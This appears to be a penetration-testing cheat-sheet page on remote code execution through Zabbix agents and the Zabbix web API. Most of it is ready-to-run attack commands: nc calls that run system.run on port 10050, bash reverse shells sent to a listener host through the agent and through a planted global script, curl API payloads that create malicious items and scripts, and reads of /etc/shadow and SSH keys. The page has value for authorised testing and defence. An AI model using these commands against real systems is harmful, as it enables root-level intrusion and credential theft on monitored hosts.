Skip to content

Zabbix Agent RCE

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

Zabbix agents can execute arbitrary system commands when EnableRemoteCommands=1 or AllowKey=system.run[*] is configured. This leads to RCE either through direct agent communication (port 10050) or through the web interface by creating an item or action that calls system.run. Confirm access through Zabbix enumeration first.

Direct Agent Command Execution

If the Zabbix agent (port 10050) accepts connections from your IP and system.run is enabled, execute commands directly.

┌──(kali㉿kali)-[~]
└─$ echo 'system.run[id]' | nc -w 3 $TARGET_IP 10050
ZBXDuid=0(root) gid=0(root) groups=0(root)

If system.run is disabled, the response will be "ZBX_NOTSUPPORTED" instead. The agent often runs as root, giving immediate root-level command execution.

┌──(kali㉿kali)-[~]
└─$ echo 'system.run[bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"]' | nc -w 3 $TARGET_IP 10050

Start nc -lvnp on your listener port first. The agent executes the command and returns the output (or hangs if the shell connects back).

RCE via Web Interface (Admin Access)

With admin credentials to the Zabbix web frontend, create a monitored item that executes system.run on a target host's agent.

Steps through the web UI:

  1. Navigate to Configuration > Hosts and select the target host.
  2. Go to Items and click Create item.
  3. Set Name to anything, Type to "Zabbix agent", Key to system.run[id].
  4. Set Update interval to 30s and click Add.
  5. Check Monitoring > Latest data for the command output.

Alternatively, use the API to create the item programmatically:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP/zabbix/api_jsonrpc.php \
-H 'Content-Type: application/json-rpc' \
-d '{"jsonrpc":"2.0","method":"item.create","params":{"name":"RCE Test","key_":"system.run[id]","hostid":"10084","type":0,"value_type":1,"delay":"30s"},"auth":"<SESSION_TOKEN>","id":1}'

Replace hostid with the target host ID from host.get. type=0 is Zabbix agent, value_type=1 is text. The item executes every 30 seconds on the agent.

RCE via Global Scripts

Zabbix global scripts are pre-configured commands that admins can execute on any monitored host. With admin access, create a new script or modify an existing one.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP/zabbix/api_jsonrpc.php \
-H 'Content-Type: application/json-rpc' \
-d '{"jsonrpc":"2.0","method":"script.create","params":{"name":"Reverse Shell","command":"bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"","type":0,"execute_on":1,"scope":2,"groupid":"0"},"auth":"<SESSION_TOKEN>","id":1}'

type=0 is script, execute_on=1 is Zabbix agent, scope=2 is manual host action. After creation, execute it from Monitoring > Hosts by clicking the host name and selecting the script.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST http://$TARGET_IP/zabbix/api_jsonrpc.php \
-H 'Content-Type: application/json-rpc' \
-d '{"jsonrpc":"2.0","method":"script.execute","params":{"scriptid":"<SCRIPT_ID>","hostid":"10084"},"auth":"<SESSION_TOKEN>","id":2}'

Replace <SCRIPT_ID> with the ID from script.create response. Start your listener before executing.

Reading Files via Agent

Even if system.run is disabled, the vfs.file.contents key reads files from the agent host.

┌──(kali㉿kali)-[~]
└─$ echo 'vfs.file.contents[/etc/passwd]' | nc -w 3 $TARGET_IP 10050

vfs.file.contents is a built-in key that is allowed by default. Read sensitive files like /etc/shadow (if agent runs as root), SSH keys, and application configs.

References